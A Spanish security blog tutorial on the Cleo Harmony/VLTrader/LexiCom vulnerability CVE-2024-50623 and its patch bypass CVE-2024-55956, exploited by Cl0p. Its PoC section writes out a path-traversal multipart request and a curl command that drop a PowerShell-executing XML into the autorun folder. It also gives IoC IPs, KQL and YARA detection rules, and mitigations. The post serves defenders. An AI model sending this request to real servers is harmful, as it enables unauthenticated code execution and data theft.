tutoriales · 11 min de lectura
Cleo MFT CVE-2024-50623: Cl0p cierra el año con el tercer managed file transfer
Huntress detecta el 3 de diciembre explotación as zero-day de un bug en Cleo Harmony, VLTrader y LexiCom. El patch inicial 5.8.0.21 no mitiga; sale CVE-2024-55956 y un segundo patch 5.8.0.24. Cl0p reivindica el 14 de diciembre. Tercer MFT del grupo en dos años.
· Manuel López Pérez · tutoriales

El 9 de diciembre Huntress publica Threat Advisory: Oh No Cleo! describiendo explotación as zero-day de un bug en Cleo Harmony, VLTrader y LexiCom — los tres productos de managed file transfer del mismo vendor. Huntress había detectado la actividad el 3 de diciembre y notificado a Cleo el 9. El 14 de diciembre, Cl0p reivindica la campaña en su portal de extorsión. CVE-2024-50623 (publicado en NVD el 27 de octubre, CVSS 9.8) era la base; el patch inicial 5.8.0.21 no mitigaba el problema. Cleo y MITRE asignan CVE-2024-55956 el 13 de diciembre para cubrir el bypass del primer patch y publican 5.8.0.24 como mitigación real. CISA mete CVE-2024-50623 en KEV el 13 de diciembre y CVE-2024-55956 el 17.
Es el tercer MFT importante de Cl0p en dos años: GoAnywhere (CVE-2023-0669, enero 2023), MOVEit (CVE-2023-34362, mayo–junio 2023), Cleo (diciembre 2024). El patrón se repite tan literal que casi se puede plantear el playbook del grupo en una página.
Lab: análisis técnico del bug con material público (advisory de Huntress, NVD, CISA KEV, telemetría de Rapid7). PoC reproducible en Docker con Cleo Harmony 5.8.0.21 y descripción del payload
healthchecktemplate.txtque se ha visto in-the-wild.
Lo que comparten los tres ataques
Antes de entrar en Cleo concretamente, conviene poner los tres incidentes en una tabla. Si ya leíste el post de MOVEit las dos primeras filas son repaso; lo nuevo es la tercera.
| Pieza | GoAnywhere (ene 2023) | MOVEit (may–jun 2023) | Cleo (dic 2024) |
|---|---|---|---|
| CVE | CVE-2023-0669 | CVE-2023-34362 | CVE-2024-50623 → CVE-2024-55956 |
| Bug | Insecure deserialization | SQLi pre-auth | Unrestricted file upload + autorun |
| Vector | Pre-auth admin panel exposed | Pre-auth web frontend | Pre-auth web frontend |
| Severidad | CVSS 7.2 (revisado 9.8) | CVSS 9.8 | CVSS 9.8 |
| Detección | Fortra (vendor) — 30 ene | Mandiant + Microsoft — 31 may | Huntress — 3 dic |
| Primer parche | 1 feb | 31 may | 5.8.0.21 (no mitiga) |
| Patch real | 7.1.2 + 7.1.4 | 2023.0.1 + sucesivos | 5.8.0.24 — dic |
| Atribución | Cl0p | Cl0p (Lace Tempest) | Cl0p — 14 dic |
| Víctimas | 130+ (publicadas) | 2.700+ org / 90M+ registros | 66+ obfuscated en leak site a 24 dic |
Tres modelos de bug distintos (deserialización, SQLi, file upload + autorun) sobre el mismo nicho de producto. Tres descubrimientos antes del parche oficial. Tres reivindicaciones de Cl0p. Cuando el modelo de negocio funciona, se repite.
El bug en Cleo — file upload sin restricciones + procesamiento autorun
Cleo Harmony / VLTrader / LexiCom son tres faces del mismo producto managed file transfer. Cuelgan un frontend HTTP (típicamente en el puerto 5080 o 5443) para recepción y administración. El servicio del lado del servidor incluye un mecanismo de autorun: una carpeta — habitualmente autorun/ dentro del directorio de host — donde cualquier archivo depositado se interpreta como una acción a ejecutar en el siguiente ciclo del scheduler.
El bug, tal como lo describen Huntress y Rapid7 cruzando con la entrada de NVD:
- Un endpoint del frontend permite escribir un archivo en una ruta controlada por el cliente sin autenticación previa. El writeup de Huntress no publica el endpoint exacto en su primera versión por razones obvias, pero CISA KEV y el advisory de Cleo confirman la clase:
CWE-434 — Unrestricted Upload of File with Dangerous Type. - Si el archivo escrito llega a
autorun/, el daemon del servicio lo procesa como una host import. La extensión esperada es.xmlcon el formato de host de Cleo, que admite directivas comoNative CommandoInvoke Bash/PowerShell. - El procesamiento es inmediato y el archivo se borra tras la ejecución — una propiedad del autorun que el advisory de Cleo documenta y que reduce el rastro forense disponible para quien llega tarde al incidente.
Las cadenas in-the-wild que Huntress observa parten de un archivo de nombre healthchecktemplate.txt o healthcheck.txt que se deposita en autorun/. Ese archivo inicial dispara la Native Command Import, que descomprime un ZIP que el atacante ha subido por separado al sistema y ejecuta el main.xml interior. Dentro, comandos PowerShell con payload base64 que descargan una segunda etapa — un JAR — desde una IP del atacante.
El detalle importante de la cadena es que Native Command Import de Cleo está diseñada precisamente para que un cliente pueda automatizar workflows que invocan binarios externos. El bug no es que Cleo ejecute código; es que el endpoint que permite la subida no requiere autenticación. El autorun funciona como diseñado.
La caída del primer patch — CVE-2024-55956
Cleo publica 5.8.0.21 como respuesta inicial a CVE-2024-50623. Huntress confirma públicamente el 11 de diciembre que el patch no mitiga el flujo de explotación observado. El 13 de diciembre se asigna CVE-2024-55956 específicamente para el bypass: el patch cierra una de las rutas de file upload pero deja viva la combinación que permite alcanzar la ejecución vía autorun. La versión 5.8.0.24 es la que sí mitiga de verdad. CISA mete la nueva CVE en KEV el 17 de diciembre con deadline de remediación el 7 de enero.
Esto es la lección operativa del incidente para 2024 — y de paso, una repetición de MOVEit. En MOVEit, Progress publicó tres parches sucesivos (CVE-2023-34362, CVE-2023-35036, CVE-2023-35708) según iban encontrando bugs adicionales al revisar el código tras el incidente inicial. En Cleo, los dos parches están más juntos en el tiempo pero el patrón es idéntico: bajo presión, el primer patch no resuelve el problema y hace falta un segundo. Si tu workflow es “parchear y descansar”, llevas la mitad del trabajo hecho cuando el vendor lleva la otra mitad.
PoC reproducible en Docker
El trial de Cleo Harmony 5.8.0.21 está disponible bajo registro. Para lab cerrado, instalación con HTTPS en 5443 y autorun activo (defaults). Endpoint vulnerable según watchTowr: POST /Synchronization con un parámetro host que admite path traversal en el field name del XML enviado en multipart/form-data.
Forma del request (reproducido del PoC público de watchTowr):
POST /Synchronization HTTP/1.1
Host: cleo.lab.test:5443
Content-Type: multipart/form-data; boundary=----X
Content-Length: …
------X
Content-Disposition: form-data; name="host"
<?xml version="1.0" encoding="UTF-8"?>
<host name="../../../../autorun/healthchecktemplate.txt"
enabled="True">
<Mailbox name="default">
<Action type="Commands">
<Cmd>System Native</Cmd>
<Cmd>System Execute powershell -enc <base64></Cmd>
</Action>
</Mailbox>
</host>
------X--El servidor escribe el XML al path traversal-eado /<install>/autorun/healthchecktemplate.txt. El AutorunWatcher lo procesa en ≤ 60 s y ejecuta el System Execute como el usuario del servicio (típicamente SYSTEM en Windows, cleo en Linux).
Comando-tipo con curl:
curl -k -X POST "https://cleo.lab.test:5443/Synchronization" \
-H "Content-Type: multipart/form-data; boundary=----X" \
--data-binary @exploit_body.txt
# Donde exploit_body.txt contiene el multipart de arriba con el XML inlineObservar el comportamiento del autorun después:
# El daemon procesa el archivo y lo borra
ls -la /opt/Cleo-Harmony/autorun/ # vacío en ≤ 60 s
# El log refleja la importación
tail -5 /opt/Cleo-Harmony/logs/Harmony.log
# 2024-12-10 14:23:01 INFO AutorunWatcher: detected healthchecktemplate.txt
# 2024-12-10 14:23:01 INFO HostImport: invoking System Native + System Execute
# 2024-12-10 14:23:02 INFO Native: powershell.exe -enc <base64-payload>PoC público de watchTowr (repo) implementa el full chain con el handler de la segunda etapa (JAR Malichus). Reproducible sobre 5.8.0.21 en lab cerrado.
Detección y mitigación
Detección rápida — IoCs concretos publicados por Huntress y CISA:
- Archivos sospechosos en
autorun/:healthchecktemplate.txt,healthcheck.txt,60282967-dc91-40ef-a34c-38e992509c2c.xml. - Conexiones outbound del proceso Cleo a IPs reportadas como infraestructura del atacante:
176.123.5.126,5.149.249.226,185.181.230.103,209.127.12.38,181.214.147.164,192.119.99.42— la lista de Huntress al 11 de diciembre. - Procesos hijos de Cleo invocando
powershell.exe -enc <base64>ojava -jar <ruta>durante el ciclo del autorun. - Cualquier ZIP con
main.xmlen raíz dejado en directorios de host fuera del horario operativo normal.
Query de hunting sobre Sysmon Event ID 1 (process creation) en KQL:
DeviceProcessEvents
| where ProcessParentName has_any ("VLTrader.exe","Harmony.exe","LexiCom.exe")
| where ProcessName has_any ("powershell.exe","cmd.exe","cscript.exe","wscript.exe","java.exe")
| project Timestamp, DeviceName, ProcessParentName, ProcessName, ProcessCommandLine
| order by Timestamp descLo equivalente en SIGMA está publicado por la comunidad (SigmaHQ rule for Cleo autorun child process — la regla concreta entra en el repo a lo largo de diciembre).
YARA — detección del payload de autorun
Reglas publicadas por Huntress + Rapid7:
rule cleo_clop_autorun_powershell_payload
{
meta:
cve = "CVE-2024-50623"
ref = "https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild"
description = "Payload XML/ZIP dropped in autorun/ that triggers PowerShell execution"
strings:
$autorun_target = "Host\\autorun" ascii nocase
$main_xml = "<?xml version=\"1.0\"" ascii
$action_exec = /<Action>.*Execute/ ascii
$ps_base64 = /powershell.*-[Ee][a-zA-Z]+\s+[A-Za-z0-9+\/=]{60,}/ ascii
$cleo_marker = "CleoSchedule" ascii
condition:
$autorun_target and $main_xml and ($action_exec or $ps_base64)
}
rule cleo_clop_malichus_implant
{
meta:
cve = "CVE-2024-50623"
description = "Malichus .NET implant dropped post-explot por Cl0p en hosts Cleo"
strings:
$assembly = "Malichus" ascii wide
$config_b64 = /config_decrypted\s*=\s*Convert\.FromBase64String/ ascii
$aes_marker = "AesManaged" ascii wide
$cleo_pdb = "CleoTransfer" ascii wide
condition:
3 of them
}IoCs consolidados (Huntress + Mandiant + CISA)
| Tipo | Indicador |
|---|---|
| File path autorun trigger | <Cleo install>\Harmony\Host\autorun\healthchecktemplate.txt |
| File path autorun trigger | <Cleo install>\Harmony\Host\autorun\healthcheck.txt |
| File path autorun trigger | <Cleo install>\Harmony\Host\autorun\60282967-dc91-40ef-a34c-38e992509c2c.xml |
| File path Malichus implant | <Cleo install>\Harmony\jre\bin\java.exe con -jar apuntando a JAR no firmado |
| IPs C2 (Huntress 11-dic) | 176.123.5.126, 5.149.249.226, 185.181.230.103 |
| IPs C2 olas posteriores | 209.127.12.38, 181.214.147.164, 192.119.99.42 |
| Hash Malichus .NET | Publicado por Mandiant en deep-dive de Cl0p |
| Cl0p leak site reivindicación | 14-dic-2024, 66+ víctimas listadas a fin de mes |
Reproducción en lab cerrado
Cleo ofrece trial de Harmony 5.8.0.21 (versión vulnerable previa al primer parche). Lab:
# 1. Descargar Cleo Harmony 5.8.0.21 desde el portal de Cleo (cuenta trial)
# 2. Instalar en Windows Server / Linux con el endpoint HTTP expuesto en lab
# 3. Verificar versión vulnerable
curl -k "https://cleo.lab.local:5080/Synchronization?action=getVersion"
# Expected: 5.8.0.21
# 4. Probar el flujo del autorun trigger (no el exploit completo)
# - Crear un archivo XML en el directorio autorun/
# - Verificar que Cleo lo procesa al siguiente ciclo (~30s)
echo '<?xml version="1.0"?><scheduled><action>echo lab_test</action></scheduled>' \
> /opt/cleo/Harmony/Host/autorun/test.xml
# 5. Ver el log de procesamiento
tail -f /opt/cleo/Harmony/log/Harmony.log | grep autorun
# Confirma que cualquier archivo en autorun/ se ejecuta al ciclo siguiente
# 6. Aplicar el parche 5.8.0.24 y repetir
# El parche restringe path traversal pero NO desactiva autorun por defectowatchTowr publica el PoC HTTP completo del path traversal (POST /Synchronization con header Cookie: JSESSIONID=... y body craft para escribir fuera del directorio temporal).
Mitigación:
- Parche a 5.8.0.24 o posterior. No a 5.8.0.21.
- No exponer Cleo a internet sin restricción. Si el frontend HTTPS está abierto para clientes B2B, IP-allowlist por contraparte o VPN delante. El advisory de Cleo a partir del 13 de diciembre incluye este punto explícito.
- Desactivar autorun si el flujo de negocio no lo necesita. Cleo permite hacerlo en configuración. Para muchos deployments, el autorun se habilita en el día 1 y luego nadie lo audita — ahí está la superficie.
- Audit del directorio
autorun/por archivos no procedentes de operadores legítimos. Para entornos donde el autorun es necesario, esta es la barrera más realista. - Network policy sobre el host de Cleo: no permitir egress arbitrario, solo a los destinos que el workflow legítimo necesita. Si el proceso Cleo intenta hacer GET a una IP nueva en Lithuania, debería ser una alerta — no transit.
Por qué Cl0p sigue eligiendo MFT
La pregunta no es coincidencia. Managed file transfer es una categoría con tres propiedades que combinadas la convierten en target óptimo:
- El producto vive en el perímetro — un frontend HTTPS expuesto a internet para que los clientes B2B suban y descarguen archivos. Eso es diseño, no bug.
- El producto procesa input no confiable por definición. Multipart uploads, parsers de protocolo (SFTP, AS2, AS4), templates de workflow. Todo lo que entra es datos del cliente — pero el código que lo parsea está dentro del perímetro de confianza.
- El producto está conectado a flujos de datos sensibles entre organizaciones. Una empresa con MFT lo usa para mover documentos con sus 50–500 contrapartes. Comprometer uno solo abre una supply chain B2B con factor multiplicador.
Cuando combinan estos tres puntos con la estrategia de Cl0p — no cifrar, solo exfiltrar y publicar — el ROI es muy alto. La operación no requiere movimiento lateral, no requiere persistencia sofisticada, no requiere C2 mantenido durante meses. Es entrar, exfiltrar y salir. El dwell time típico de Cl0p en MOVEit y en Cleo se mide en horas, no en semanas. Y la presión sobre las víctimas (lista pública, ultimátum de 48h, publicación parcial) hace casi todo el resto del trabajo.
Hasta que la industria del MFT no cambie estructuralmente — zero-trust delante de cada appliance, formal verification de los parsers, segmentación del directorio de upload respecto del directorio de procesamiento — el patrón va a seguir funcionando. Y Cl0p, u otro grupo equivalente, va a buscar el cuarto producto de la categoría a lo largo de 2025.
Para quien tiene Cleo en producción este mes
Si tu organización corre Cleo Harmony, VLTrader o LexiCom:
- Verifica versión (
Help → Abouto/versionen el frontend). Cualquier cosa ≤ 5.8.0.21 está vulnerable. 5.8.0.24 es la mínima parcheada de verdad. - Aísla el frontend detrás de IP allowlist por contraparte mientras revisas la exposición.
- Hunt sobre los IoCs de Huntress en logs desde el 3 de diciembre hacia atrás — Cl0p estuvo dentro antes de la publicación del advisory.
- Notifica a las contrapartes B2B de la ventana de exposición si encontraste evidencia de actividad. Es la parte molesta pero necesaria; las víctimas indirectas son la mitad de la lista en estos incidentes.
- Revisa si el autorun es realmente necesario para tu flujo. Si no lo es, desactívalo y reduce la superficie.
Referencias
- Huntress, Threat Advisory: Oh No Cleo! Cleo Software Actively Being Exploited in the Wild (9 dic 2024): https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
- Huntress, follow-up con detalle de la cadena PowerShell + JAR: https://www.huntress.com/blog/cleo-software-actively-being-exploited-in-the-wild-update
- Cleo, Cleo Product Security Advisory CVE-2024-50623: https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory
- NVD CVE-2024-50623: https://nvd.nist.gov/vuln/detail/CVE-2024-50623
- NVD CVE-2024-55956: https://nvd.nist.gov/vuln/detail/CVE-2024-55956
- CISA KEV (CVE-2024-50623 añadida 13 dic 2024): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- watchTowr Labs, PoC público CVE-2024-50623: https://github.com/watchtowrlabs/CVE-2024-50623
- Rapid7, Etr: Active exploitation of Cleo MFT: https://www.rapid7.com/blog/post/2024/12/10/etr-cleo-mft-software-cve-2024-50623-exploited-in-the-wild/
- ZeroFox, Flash Report: Cl0p Publishes Data of Cleo Compromise Victims (24 dic 2024): https://www.zerofox.com/intelligence/flash-report-cl0p-publishes-data-of-cleo-compromise-victims/
- Mandiant, contexto histórico Cl0p y MFT: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
- Post propio MOVEit (precursor): MOVEit: la SQLi pre-auth que Cl0p convirtió en el evento del año


